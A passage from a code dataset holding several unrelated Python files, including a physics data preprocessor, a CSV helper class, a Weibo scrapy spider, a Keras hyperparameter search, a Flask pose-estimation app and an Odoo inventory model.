len_ds = len(ds)\n i = 0\n for idx, row in tqdm(enumerate(ds), total=len_ds):\n # pdb.set_trace()\n if pid is None or pid != row[-1]:\n if current_batch is not None:\n result.append(batch2rows_group_p(current_batch))\n # 处理上一批的\n current_batch = [row] # 新建本批次的\n else:\n current_batch.append(row)\n pid = row[-1]\n if idx == len_ds - 1:\n result.append(batch2rows_group_p(current_batch))\n # 到达最后一个元素\n return pd.concat(result).reset_index(drop=True)\n\n\nif __name__ == '__main__':\n\n test_or_train = \"train\"\n if os.path.exists(\"data/{}.h5\".format(test_or_train)):\n particle_df = load_ds(\"data/{}.h5\".format(test_or_train))\n else:\n particle_df = pd.read_csv(\"data/complex_{}_R04_particle.csv\".format(test_or_train))\n logging.info(gc.collect())\n logging.info(sys.getsizeof(particle_df)/1024/1024)\n particle_df = p2j(particle_df)\n logging.info(sys.getsizeof(particle_df)/1024/1024)\n particle_df.to_hdf(\"data/{}.h5\".format(test_or_train), \"data\")\n jet_df = pd.read_csv(\"data/complex_{}_R04_jet.csv\".format(test_or_train))\n df = combine_j_p(jet_df, particle_df)\n del jet_df\n del particle_df\n logging.info(gc.collect())\n df = group_p_by_event(df)\n logging.info(df.shape)\n # logging.info(sys.getsizeof(df)/1024/1024)\n df.to_hdf(\"data/{}_grouped_by_event.h5\".format(test_or_train), \"data\")\n # to_write = queue.Queue()\n\n # def writer():\n # # Call to_write.get() until it returns None\n # for k, df in iter(to_write.get, None):\n # df.to_hdf(\"data/{}.h5\".format(test_or_train), \"jet_id_{}\".format(k), mode=\"a\")\n # threading.Thread(target=writer).start()\n\n # for item in particle_df:\n # to_write.put(item)\n # to_write.put(None)\n\n\n # with open(\"e:/data/{}_p.pickle\".format(test_or_train), \"wb\") as f:\n # pickle.dump(df, f, pickle.HIGHEST_PROTOCOL)\n # df.to_csv(\"e:/data/{}_particle_group_by_jet.csv\".format(test_or_train), index=False)\n\n # df2 = pd.read_csv(\"d:/pyworkspace/jet_buster/data/complex_test_R04_jet.csv\")\n # print(sys.getsizeof(df2)/1024/1024)\n # df3 = pd.merge(df, df2, how=\"inner\", on=\"jet_id\")\n # print(sys.getsizeof(df3)/1024/1024)\n # df3.to_csv(\"d:/pyworkspace/jet_buster/data/test_jet_combined.csv\")\n\n# import featuretools as ft\n\n\n# def feature_dfs(df):\n# \"\"\"\n# featuretools自动生成特征\n# \"\"\"\n# es = ft.EntitySet()\n# es = es.entity_from_dataframe(entity_id='jets', dataframe=df, index='jet_id')\n# es = es.normalize_entity(base_entity_id='jets', new_entity_id='events', index='event_id')\n# feature_matrix, _ = ft.dfs(entityset=es, target_entity='jets')\n# return feature_matrix\n","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":6627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"212065694","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 14 04:00:04 2018\n\n@author: amaris\n\"\"\"\n\nimport csv\n\nclass csv_dict:\n \n def __init__(self, file = '', encoding = 'latin-1', newline='', delimiter=';', quotechar='|', keys = [], dict_list = []):\n if file:\n csv_file = open(file, mode='r', newline=newline, encoding=encoding)\n csv_list = list(csv.reader(csv_file, delimiter=delimiter, quotechar=quotechar))\n self.keys = [] # Principal\n self.dict_list = [] # Principal\n for key in csv_list[0]:\n self.keys.append(str(key))\n for row in csv_list[1:len(csv_list)-1]:\n row_dict = {}\n for index in range(len(self.keys)):\n row_dict[self.keys[index]] = row[index].replace('\\n','').replace('\\t','').replace('\\r','')\n self.dict_list.append(row_dict)\n else:\n self.keys = keys\n self.dict_list = dict_list\n \n def __str__(self):\n return str(self.dict_list)\n \n def help_str(self):\n return \"\"\"column (column_name) : retrieves a whole column\\n\ncolumns () : retrieves a list with all the column names\\n\nrow (row_index) : retrieves a complete row by its index\\n\nquery_v (column_name, param) : retrieves a matrix using a parameter. 'param' can be either a value or a function to map\\n\nquery (column_name, param) : retrieves a csvDict object using a query_v function\\n\nsize () : Returns the number of rows\\n\ncast (column_name, data_type) : casts a whole column to other data type\"\"\"\n \n def column(self, column_name):\n return [row[column_name] for row in self.dict_list]\n \n def columns(self):\n return self.keys\n \n def row(self, row_index):\n try:\n return self.dict_list[row_index]\n except:\n return []\n \n def get(self, column, row = 0):\n try:\n return self.dict_list[row][column]\n except:\n return None\n \n def get_dict_list(self):\n return self.dict_list\n \n def query_v(self, column_name, param):\n if callable(param):\n column = self.column(column_name)\n return [x for x,y in zip(self.dict_list, map(param, column)) if y]\n else:\n return [row for row in self.dict_list if row[column_name] == param] if column_name in self.keys else []\n \n def query(self, column_name, param):\n query_result = self.query_v(column_name, param)\n #return csv_dict(keys = self.keys, dict_list = query_result) if query_result else csv_dict(keys = self.keys, dict_list = [])\n if query_result:\n return csv_dict(keys = self.keys, dict_list = query_result)\n else:\n return csv_dict(keys = self.keys, dict_list = [])\n \n def size(self):\n return len(self.dict_list)\n \n def cast(self, column_name, data_type):\n if data_type == int or data_type == 'int':\n for row_index in range(len(self.dict_list)):\n self.dict_list[row_index][column_name] = int(self.dict_list[row_index][column_name])\n elif data_type == float or data_type == 'float':\n for row_index in range(len(self.dict_list)):\n self.dict_list[row_index][column_name] = float(self.dict_list[row_index][column_name])\n elif data_type == str or data_type == 'str':\n for row_index in range(len(self.dict_list)):\n self.dict_list[row_index][column_name] = str(self.dict_list[row_index][column_name])\n elif data_type == bool or data_type == 'bool':\n for row_index in range(len(self.dict_list)):\n self.dict_list[row_index][column_name] = bool(self.dict_list[row_index][column_name])\n \n def map_column(self, column_name, function):\n for row_index in range(len(self.dict_list)):\n self.dict_list[row_index][column_name] = function(self.dict_list[row_index][column_name])","sub_path":"cassandra/csv_dict.py","file_name":"csv_dict.py","file_ext":"py","file_size_in_byte":3989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"381707251","text":"from OpenGL.GL import *\r\nfrom OpenGL.GLU import *\r\nfrom OpenGL.GLUT import *\r\n#These APIs are exactly the same as the C lang's\r\n#GL&GLU: CG calculation library\r\n#GLUT: CG's GUI library\r\n\r\n#refer: http://wisdom.sakura.ne.jp/system/opengl/gl11.html\r\n\r\nimport sys\r\n\r\ndef UserDrawingRoutine():\r\n\tglClear(GL_COLOR_BUFFER_BIT)\r\n\r\n\tglBegin(GL_POLYGON)\r\n\tglColor3f(1 , 0 , 0)\r\n\tglVertex2f(-0.9 , -0.9)\r\n\tglColor3f(0 , 1 , 0)\r\n\tglVertex2f(0 , 0.9)\r\n\tglColor3f(0 , 0 , 1)\r\n\tglVertex2f(0.9 , -0.9)\r\n\tglEnd()\r\n\r\n\tglFlush()\r\n \r\n\r\ndef GLUT_init(title, UserRoutine, size=(640,480), bgclr=(0, 0, 0, 0)):\r\n glutInit(sys.argv)\r\n glutInitDisplayMode(GLUT_RGBA | GLUT_SINGLE)\r\n glutInitWindowSize(size[0], size[1])\r\n glutCreateWindow(title)\r\n glClearColor(bgclr[0], bgclr[1], bgclr[2], bgclr[3])\r\n glutDisplayFunc(UserDrawingRoutine)\r\n\r\n UserRoutine()\r\n glutMainLoop()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n GLUT_init(b\"testing openGL of python wrapper\", UserDrawingRoutine)","sub_path":"wxformbulder/pyopengl_test.py","file_name":"pyopengl_test.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"521121296","text":"# {1,2,3,4,5,6,7,8,9,10}의 powerset 중 원소의 합이 10인 부분집합을 구하시오\n\nimport sys\nsys.stdin = open('부분집합_input.txt')\ndata = list(map(int, input().split()))\nA = [0 for _ in range(len(data))]\n\ncount = 0\n\ndef sumcheck(n):\n global count\n set = []\n for i in range(len(data)):\n if A[i] == 1:\n set.append(data[i])\n if sum(set) == 10:\n count += 1\n print('{} : {}' .format(count,set))\n\n\ndef powerset(n,k):\n global total\n if n == k:\n sumcheck(n)\n else:\n A[k] = 1\n powerset(n, k+1)\n A[k] = 0\n powerset(n, k+1)\n\npowerset(len(data), 0)\n","sub_path":"work/stack2/부분집합 연습문제2.py","file_name":"부분집합 연습문제2.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"285984041","text":"#!/usr/bin/env python3\n\"\"\"\nAuthor : bhurwitz \nDate : 2020-01-30\nPurpose: First Assignment_Vowel Position\n\"\"\"\n\nimport argparse\n\n\n# --------------------------------------------------\ndef get_args():\n \"\"\"Get command-line arguments\"\"\"\n\n parser = argparse.ArgumentParser(\n description='Find position of vowel in string',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser.add_argument('vowel', metavar='vowel', help='A vowel to look for')\n parser.add_argument('text', metavar='text', help='The text to search')\n\n args = parser.parse_args()\n if args.vowel not in \"aeiouAEIOU\":\n parser.error(\n f\"argument vowel: invalid choice: '{args.vowel}'\"\n f\"(choose from 'a', 'e', 'i', 'o', 'u', 'A', 'E', 'I', 'O', 'U')\")\n return parser.parse_args()\n\n\n# --------------------------------------------------\ndef main():\n \"\"\"Make a jazz noise here\"\"\"\n\n args = get_args()\n text = args.text\n vowel = args.vowel\n\n for i in range(len(text)):\n if text[i] is vowel:\n print(f'Found \"{vowel}\" in \"{text}\" at index {i}.')\n\n if vowel not in text:\n print(f'\"{vowel}\" is not found in \"{text}\".')\n\n\n# --------------------------------------------------\nif __name__ == '__main__':\n main()\n","sub_path":"assignments/01_strings/vpos.py","file_name":"vpos.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"479103419","text":"from wordy.core.models.blogmodel import create_blog, validate_blog_id, get_blog_by_id\nfrom wordy.form import get_form\nfrom flask import Blueprint, render_template, request, make_response, redirect, g, url_for\n\nfrom flask import Blueprint, render_template, g, request, abort\nfrom wordy.routes.base import RouteBase\n\nclass RouteBlog(RouteBase):\n\n def action_create(self):\n pass\n\n def action_create_post(self):\n form = get_form(request.form, 'blogName', 'deployOption', 'url')\n\n try:\n blog = create_blog(form['blogName'], form['deployOption'], form['url'], g.account)\n except Exception as ex:\n form['_errors'] = [ex.message]\n self.vars('form', form)\n return redirect(url_for('index.dashboard'))\n\n def manage(self, blog_id):\n validate_blog_id(blog_id)\n blog = get_blog_by_id(blog_id)\n self.vars('blog', blog)\n ","sub_path":"wordy/routes/blog.py","file_name":"blog.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"652138732","text":"# -*- coding: utf-8 -*-\nimport scrapy\nimport re\nimport json\n\nfrom scrapy.spiders import CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\nfrom weibo.items import WeiboUrl\nfrom values import FILENAME_COOKIES, URL_REGEX, HREF_REGEX\n\n\nclass Relation(CrawlSpider):\n name = \"relation\"\n start_urls = [\"http://weibo.com/tv/\"]\n rules = [\n Rule(\n LinkExtractor(allow=URL_REGEX),\n callback='parse_url',\n follow=True\n ),\n ]\n cookies = {}\n\n def __init__(self, *a, **kw):\n super(Relation, self).__init__(*a, **kw)\n try:\n file = open(FILENAME_COOKIES,'r',encoding='utf-8')\n for cookie in json.load(file)[\"cookies\"]:\n self.cookies[cookie[\"name\"]]=cookie[\"value\"]\n except:\n print('cannot load ', FILENAME_COOKIES)\n exit(1)\n\n def start_requests(self):\n for url in self.start_urls:\n req = scrapy.Request(url, cookies=self.cookies, dont_filter=True)\n yield req\n\n def parse_url(self, response):\n u = WeiboUrl()\n u[\"from_url\"] = ''.join(re.findall(HREF_REGEX, response.request.headers[\"Referer\"].decode()))\n u[\"url\"] = ''.join(re.findall(HREF_REGEX, str(response)))\n yield u\n","sub_path":"weibo/spiders/relation.py","file_name":"relation.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"618531925","text":"import pandas as pd\nfrom keras import layers, models, regularizers\nfrom sklearn.model_selection import RepeatedKFold\nimport numpy as np\nfrom datetime import datetime\nimport time\nfrom matplotlib import pyplot as plt\nimport random\nfrom earthquake.read_file import get_features\n\ndef fit_eval(X_train, y_train, epoch, batch_size, optimizer, activation, dropout):\n kfold = RepeatedKFold(n_splits=5, n_repeats=2, random_state=2652124)\n cv_train_scores = []\n cv_train_loss = []\n cv_val_scores = []\n cv_val_loss = []\n eval = 0\n\n for train, val in kfold.split(X_train, y_train):\n # create model\n print(datetime.now(), len(train), len(val))\n model = models.Sequential()\n model.add(layers.Dense(150, input_dim=(X_train.shape[1]), activation='relu',\n kernel_regularizer=regularizers.l2(0.001)))\n model.add(layers.Dropout(dropout))\n if activation == \"none\":\n model.add(layers.Dense(1, activation=\"relu\"))\n else:\n model.add(layers.Dense(1, activation=activation))\n # Compile model\n model.compile(loss='mse', optimizer=optimizer, metrics=['mae'])\n # Fit the model\n history = model.fit(X_train.iloc[train].values, y_train.iloc[train].values.ravel(), epochs=epoch, verbose=0,\n batch_size=batch_size,\n validation_data=(X_train.iloc[val].values, y_train.iloc[val].values.ravel()))\n history_dict = history.history\n # collect score and loss values\n # print(history_dict)\n cv_train_loss.append(history_dict['loss'])\n cv_val_loss.append(history_dict['val_loss'])\n cv_train_scores.append(history_dict['mean_absolute_error'])\n cv_val_scores.append(history_dict['val_mean_absolute_error'])\n eval += model.evaluate(X_train.iloc[val].values, y_train.iloc[val].values.ravel(), verbose=0)[1]\n\n if 1 == 0:\n pred = model.predict(X_train)\n print(pred.shape)\n pred = np.abs(pred)\n print(y_train[\"time_to_failure\"].values.reshape(-1, 1))\n pred_df = pd.DataFrame(data=np.concatenate((y_train[\"time_to_failure\"].values.reshape(-1, 1), pred), axis=1),\n columns=[\"gt\", \"pr\"])\n\n if 1 == 0:\n print(pred_df.to_csv(\"./output/pred.csv\"))\n # sum score and loss values for different CVs\n train_loss = [sum(x) for x in zip(*cv_train_loss)][80:]\n val_loss = [sum(x) for x in zip(*cv_val_loss)][80:]\n train_scores = [sum(x) for x in zip(*cv_train_scores)][80:]\n val_scores = [sum(x) for x in zip(*cv_val_scores)][80:]\n\n plt.figure(figsize=(25, 10))\n plt.plot(range(1, len(train_loss) + 1), train_loss, 'bo', label='Training loss')\n plt.plot(range(1, len(val_loss) + 1), val_loss, 'b', label='Validation loss')\n plt.title(\"Trainin and validation loss\")\n plt.xlabel('Epochs')\n plt.ylabel('Loss')\n plt.legend()\n\n plt.show()\n\n plt.figure(figsize=(25, 10))\n plt.plot(range(1, len(train_scores) + 1), train_scores, 'bo', label='Training mae')\n plt.plot(range(1, len(val_scores) + 1), val_scores, 'b', label='Validation mae')\n plt.title(\"Trainin and validation mae\")\n plt.xlabel('Epochs')\n plt.ylabel('Mae')\n plt.legend()\n\n plt.show()\n\n return epoch, batch_size, optimizer, activation, float(eval/10.0)\n\nif __name__ == \"__main__\":\n\n X_train, y_train, X_test = get_features()\n\n pd.concat([X_train, y_train], axis=1).corr()[[\"time_to_failure\"]].to_csv(\"./output/pearson_corr.csv\")\n\n\n epochs = [250, 500, 1000, 1500, 2000, 2500]\n batch_sizes = [64, 128, 256]\n optimizers = [\"adam\", \"rmsprop\"]\n activations= [\"relu\", \"none\"]\n dropouts = [0.1, 0.2, 0.3, 0.4]\n n_grid = 10\n scores = pd.DataFrame(index=[i for i in range(n_grid)],\n columns=[\"epoch\", \"batch_size\", \"optimizer\", \"activation\", \"dropout\", \"score\", \"start_date\", \"end_date\"])\n for i in range(n_grid):\n r_epoch = random.choice(epochs)\n r_batch_size = random.choice(batch_sizes)\n r_optimizer = random.choice(optimizers)\n r_activation = random.choice(activations)\n r_dropout = random.choice(dropouts)\n start_date = datetime.now()\n print(i, datetime.now(),r_epoch, r_batch_size, r_optimizer, r_activation, r_dropout)\n epoch, batch_size, optimizer, activation, score = \\\n fit_eval(X_train, y_train, r_epoch, r_batch_size, r_optimizer, r_activation, r_dropout)\n\n end_date = datetime.now()\n\n print(i, start_date, end_date, epoch, batch_size, optimizer, activation, score)\n\n scores.loc[i, \"epoch\"] = epoch\n scores.loc[i, \"batch_size\"] = batch_size\n scores.loc[i, \"optimizer\"] = optimizer\n scores.loc[i, \"activation\"] = activation\n scores.loc[i, \"score\"] = score\n scores.loc[i, \"start_date\"] = start_date\n scores.loc[i, \"end_date\"] = end_date\n\n scores.sort_values(by=[\"score\"]).to_csv(\"./output/1hdscores.csv\", index=False)\n\n\n","sub_path":"earthquake/train_keras_1hdlayer.py","file_name":"train_keras_1hdlayer.py","file_ext":"py","file_size_in_byte":5095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"562859657","text":"from typing import Dict\n\nimport torch\nfrom torch.nn import functional, Module, CTCLoss\n\nfrom utils import string_utils, error_rates\n\n\ndef calculate_hw_loss(hw_model: Module, input, dtype: torch.dtype, device: torch.device,\n criterion: CTCLoss, idx_to_char: Dict, train=True):\n line_imgs = input['line_imgs'] # type: torch.Tensor\n labels = input['labels'] # type: torch.Tensor\n label_lengths = input['label_lengths'] # type: torch.Tensor\n line_imgs = line_imgs.to(device, dtype)\n predicts: torch.Tensor = hw_model(line_imgs, label_lengths).cpu() # predicts size: (input_length, batch_size, num_classes)\n if train:\n inputs = functional.log_softmax(predicts, dim=2)\n input_length, batch_size, _ = predicts.size()\n input_lengths = torch.tensor([input_length] * batch_size)\n loss = criterion(inputs, labels, input_lengths, label_lengths)\n return loss\n else:\n outputs = predicts.permute(1, 0, 2).data.numpy()\n cer = 0.0\n steps = 0\n for i, gt_line in enumerate(input['gt']):\n logits = outputs[i, ...]\n pred, raw_pred = string_utils.naive_decode(logits)\n pred_str = string_utils.label2str_single(pred, idx_to_char, False)\n cer += error_rates.cer(gt_line, pred_str)\n steps += 1\n return cer / steps\n","sub_path":"hw_vn/hw_loss_function.py","file_name":"hw_loss_function.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"125405313","text":"# 1. This is a blueprint of our application; it has a bunch of routes/URLs defined inside of it.\nfrom flask import Blueprint, render_template, Response, request\nfrom flask.helpers import url_for\nfrom flask_login import login_required, current_user, utils\n\nimport cv2\nfrom imutils import video\nimport mediapipe as mp\nimport numpy as np\nfrom imutils.video import VideoStream\nimport imutils\nimport time\nimport datetime\nfrom threading import Thread\n\n# 1. gives us all of our drawing utilities. When it comes to visualizing our poses, we will use the drawing utils\nmp_drawing = mp.solutions.drawing_utils\n# 2. this imports our pose estimation models\nmp_pose = mp.solutions.pose\n\nclass set_exercise:\n current_exercise = None\n current_angle = None\n\n# 1. Should name the blueprint the same name as the file for ease of use.\nexercises = Blueprint('exercises', __name__)\n\nclass VideoCamera(object):\n\n def __init__(self):\n self.stream = cv2.VideoCapture(0)\n\n def __del__(self):\n self.stream.release()\n\n def get_frame(self, exercise):\n \n success, frame = self.stream.read()\n\n # 1. .Pose access our pose estiamtion models\n # 2. min_detection_confidence is what we want our detection confidence to be\n # 3. min_tracking_confidence is what we want our tracking confidence to be, when we maintain our state\n # 4. If we want to be more accurate, increase the metrics to .8 or .95. There is a tradeoff with increasing\n # these numbers. It will require a more persize pose from the person which could be more difficult\n with mp_pose.Pose(min_detection_confidence=0.5, min_tracking_confidence=0.5) as pose:\n\n # Recolor image to RGB\n image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n image.flags.writeable = False\n\n # make detection\n results = pose.process(image)\n\n # Recolor back to BGR (BGR NOT RGB)\n image.flags.writeable = True\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n\n # Extract landmarks\n try:\n landmarks = results.pose_landmarks.landmark\n\n # exercise to calculate angle for\n poi_coord, angle = exercise_to_calc(exercise, landmarks, image)\n\n # vizualize\n # str(angle) - turn our angle into a string\n # Tuple(....astype()) The coordinates we get by default are normalized and not adjust for the cameras dimensions.\n # This allows us to find the correct coordinates within our cameras dimensions \n cv2.putText(image, str(angle), tuple(np.multiply(poi_coord, [640, 480]).astype(int)), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 2, cv2.LINE_AA)\n\n except:\n pass\n\n # Render detections\n mp_drawing.draw_landmarks(image, results.pose_landmarks, mp_pose.POSE_CONNECTIONS,\n mp_drawing.DrawingSpec(color=(245, 117, 66), thickness=2, circle_radius=2),\n mp_drawing.DrawingSpec(color=(245, 66, 230), thickness=2, circle_radius=2)\n )\n\n\n success, jpeg = cv2.imencode('.jpg', image)\n return jpeg.tobytes()\n\ndef generate_camera(video_camera, current_exercise):\n while True:\n frame = video_camera.get_frame(current_exercise)\n yield(b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')\n\n@exercises.route('/video_feed')\n@login_required\ndef video_feed():\n print(set_exercise.current_exercise)\n return Response(generate_camera(VideoCamera(), set_exercise.current_exercise), mimetype='multipart/x-mixed-replace; boundary=frame')\n\n@exercises.route('/record', methods=['GET'])\n@login_required\ndef record():\n print(\"TEST\")\n return Response(\"test hello bitch this works\")\n\n# EXERCISES\n# legs\n@exercises.route('/exercises/squats/back_squat_side')\n@login_required\ndef back_squat_side():\n set_exercise.current_exercise = 'back_squat_side'\n return render_template(\"/exercises/squats/back_squat_side.html\", user=current_user)\n #return render_template(\"/exercises/squats/back_squat_side.html\", user=current_user)\n\n# Back\n@exercises.route('/exercises/rows/barbell_row_side')\n@login_required\ndef barbell_row_side():\n set_exercise.current_exercise = 'barbell_row_side'\n return render_template(\"/exercises/rows/barbell_row_side.html\", user=current_user, angle=set_exercise.current_angle)\n\n# get the points on which we want to calculate our angle\ndef exercise_to_calc(exercise, landmarks, image):\n if(exercise == 'barbell_row_side'):\n shoulder = [landmarks[mp_pose.PoseLandmark.LEFT_SHOULDER.value].x, landmarks[mp_pose.PoseLandmark.LEFT_SHOULDER.value].y]\n elbow = [landmarks[mp_pose.PoseLandmark.LEFT_ELBOW.value].x, landmarks[mp_pose.PoseLandmark.LEFT_ELBOW.value].y]\n wrist = [landmarks[mp_pose.PoseLandmark.LEFT_WRIST.value].x, landmarks[mp_pose.PoseLandmark.LEFT_WRIST.value].y]\n angle = calc_angle(shoulder, elbow, wrist)\n set_exercise.current_angle = angle\n return elbow, angle\n\n elif(exercise == 'back_squat_side'):\n shoulder = [landmarks[mp_pose.PoseLandmark.LEFT_SHOULDER.value].x, landmarks[mp_pose.PoseLandmark.LEFT_SHOULDER.value].y]\n elbow = [landmarks[mp_pose.PoseLandmark.LEFT_ELBOW.value].x, landmarks[mp_pose.PoseLandmark.LEFT_ELBOW.value].y]\n wrist = [landmarks[mp_pose.PoseLandmark.LEFT_WRIST.value].x, landmarks[mp_pose.PoseLandmark.LEFT_WRIST.value].y]\n angle = calc_angle(shoulder, elbow, wrist)\n set_exercise.current_angle = angle\n return elbow, angle\n\n elif(exercise == 'bicep_curl'):\n shoulder = [landmarks[mp_pose.PoseLandmark.LEFT_SHOULDER.value].x, landmarks[mp_pose.PoseLandmark.LEFT_SHOULDER.value].y]\n elbow = [landmarks[mp_pose.PoseLandmark.LEFT_ELBOW.value].x, landmarks[mp_pose.PoseLandmark.LEFT_ELBOW.value].y]\n wrist = [landmarks[mp_pose.PoseLandmark.LEFT_WRIST.value].x, landmarks[mp_pose.PoseLandmark.LEFT_WRIST.value].y]\n angle = calc_angle(shoulder, elbow, wrist)\n set_exercise.current_angle = angle\n return elbow, angle\n\n# CALC ANGLE\ndef calc_angle(a,b,c):\n a = np.array(a)\n b = np.array(b)\n c = np.array(c)\n\n radians = np.arctan2(c[1]-b[1], c[0]-b[0]) - np.arctan2(a[1]-b[1], a[0]-b[0])\n angle = np.abs(radians*180.0/np.pi)\n\n if angle > 180.0:\n angle = 360-angle\n\n return angle","sub_path":"website/exercises_old.py","file_name":"exercises_old.py","file_ext":"py","file_size_in_byte":6503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"220348029","text":"def stdDevOfLengths(L):\r\n \"\"\"\r\n L: a list of strings\r\n\r\n returns: float, the standard deviation of the lengths of the strings,\r\n or NaN if L is empty.\r\n \"\"\"\r\n if not L:\r\n return float('NaN')\r\n lengths = [len(i) for i in L] \r\n mean_of_list = sum(lengths)/float(len(L))\r\n \r\n diffs_squared = [(i - mean_of_list)**2 for i in lengths]\r\n variance = sum(diffs_squared) / len(L)\r\n \r\n return variance**(0.5)\r\n# ","sub_path":"Unit3/Lecture7Exercise3.py","file_name":"Lecture7Exercise3.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"40703780","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api\nfrom odoo.exceptions import ValidationError, UserError\nfrom datetime import datetime\n\nclass update_quantity(models.Model):\n _name = 'zadara_inventory.update_quantity'\n _description = 'zadara_inventory.upadate_quantity'\n\n #update_quantity_name = fields.Char(compute=\"comp_qn\",store=True, default=lambda self: self.env['zadara_inventory.update_quantity'].comp_qn())\n \n location_id = fields.Many2one('zadara_inventory.locations')\n \n product_id = fields.Many2one('zadara_inventory.product')\n \n #product_trackSerialNumber = fields.Boolean(related=\"product_id.product_trackSerialNumber\")\n \n product_name = fields.Char(related=\"product_id.product_name\")\n \n serial_number = fields.Char()\n #p_tag = fields.Selection([('New','New'), ('Used','Used'),('Obsolete','Obsolete')], default='New')\n quantity = fields.Integer(required=True, default='1')\n product_number = fields.Many2one('zadara_inventory.product_number')\n \n responsible_party = fields.Selection([('Irvine','Irvine'), ('Yokneam','Yokneam')])\n \n update_date = fields.Datetime(default=lambda self: fields.datetime.now())\n #def date_set(self): \n # return datetime.now()datetime.strptime(Date, '%Y-%m-%d %H:%M:%S').strftime('%Y-%m-%d %H:%M')\n update_tag = fields.Char(readonly=True)\n p_tag = fields.Many2one('zadara_inventory.p_tag', string=\"Product Tag\")\n notes = fields.Char()\n t_quantity = fields.Integer(readonly=True)\n purchase_date = fields.Date()\n po_number = fields.Char()\n purchased_from = fields.Many2one('zadara_inventory.vendors')\n product_notes = fields.Char()\n \n country_of_origin = fields.Char()\n \n availability_Type = fields.Selection([('Available','Available'), ('Unavailable','Unavailable')], required=False)\n #moveline = fields.Many2many('zadara_inventory.mlqu')\n #@api.depends('update_date')\n #def comp_qn(self):\n # if self.update_date == False:\n #self.date_set()\n # raise UserError(self.update_date)\n # r = self.update_date.to_string()\n # return r\n #x = self.env['zadara_inventory.update_quantity'].search([],order=\"update_quantity_name desc\", limit=1)\n #self.update_quantity_name = x.update_quantity_name\n #raise UserError(datetime.now()-)\n #if datetime.now() == self.update_date:\n \n # r = x.update_quantity_name\n #self.update_quantity_name = r\n #else:\n # r = x.update_quantity_name+1\n #return r\n #@api.onchange('product_id')\n #def fix_track(self):\n # self.product_trackSerialNumber = self.product_id.product_trackSerialNumber\n #relation \n #move = fields.Many2one('zadara_inventory.moves')\n \n #checks procdure valid, location_id, product_id \n #precheck quatity not <0 \n #1 prpoduct tracking serial number or not \n #2 if yes \n #makes sure qunatity is 1, make sure sn is unique and not = to N/A or blank\n #2 if not \n #make sn = too N/A, see if product exists at location \n #if yes\n #write over quantity \n #if not \n #create instance with quantity at \n def check_create_qu(self,q):\n if q > 1 or q < 0:\n raise UserError(\"bad\")\n \n def pre_checks(self,q):\n if q < 0:\n raise UserError(\"quantitys cannot be negetive\")\n\n @api.model_create_multi\n def create(self,vals_list):\n for val in vals_list:\n if not val.get('update_date'):\n val['update_date'] = datetime.now()\n # raise UserError(val.get('update_date'))\n val['t_quantity'] = val.get('quantity')\n if not val.get('product_id'):\n raise UserError(\"no product\")\n if val.get('reponsible_party') == '':\n raise UserError(\"no responsible party\")\n \n if not self.env['zadara_inventory.product_number'].search([['product_id.id','=',val.get(\"product_id\")],['id','=',val.get('product_number')]]):\n raise UserError('product number not found')\n \n if 0 > val.get(\"quantity\"):\n raise UserError('No quantities less than 0')\n track = self.env['zadara_inventory.product'].search([['id','=',val.get(\"product_id\")],['product_trackSerialNumber','=',True]])\n if not val.get('location_id'):\n raise UserError(\"no location\")\n if track:\n if val.get('quantity') < 0 or val.get('quantity') > 1:\n raise UserError(\"bad quantity\")\n if not val.get('serial_number'):\n raise UserError('bad sn line')\n if val.get('serial_number') == 'N/A':\n raise UserError('bad sns') \n if self.env['zadara_inventory.master_inventory'].search([['serial_number', '=', val.get('serial_number')]]):\n raise UserError(\"cannot have 2 same serial numbers \")\n else: \n val['update_tag'] = 'create'\n else:\n val['serial_number'] = \"N/A\"\n if self.env['zadara_inventory.master_inventory'].search([['location_id','=', val.get('location_id')],['product_id', '=',val.get('product_id')]]):\n p = self.env['zadara_inventory.master_inventory'].search([['location_id','=', val.get('location_id')],['product_id', '=',val.get('product_id')]]).quantity\n val['quantity'] = val.get('quantity') + p\n val['update_tag'] = 'write'\n else:\n val['update_tag'] = 'create'\n \n \n \n \n \n res = super(update_quantity, self).create(vals_list)\n for vals in vals_list:\n \n del vals[\"notes\"]\n if vals.get('t_quantity'):\n del vals[\"t_quantity\"]\n if vals.get('update_quantity_name'):\n del vals[\"update_quantity_name\"]\n if vals.get('responsible_party'):\n del vals['responsible_party']\n #self.env['zadara_inventory.product_history'].create(vals)\n # if vals.get('update_date'):\n # del vals['update_date']\n if vals.get('update_tag') == 'create':\n del vals['update_tag']\n self.create_to_mi(vals)\n else:\n del vals[\"availability_Type\"]\n del vals['update_tag']\n self.write_to_mi(vals)\n \n return res\n \n 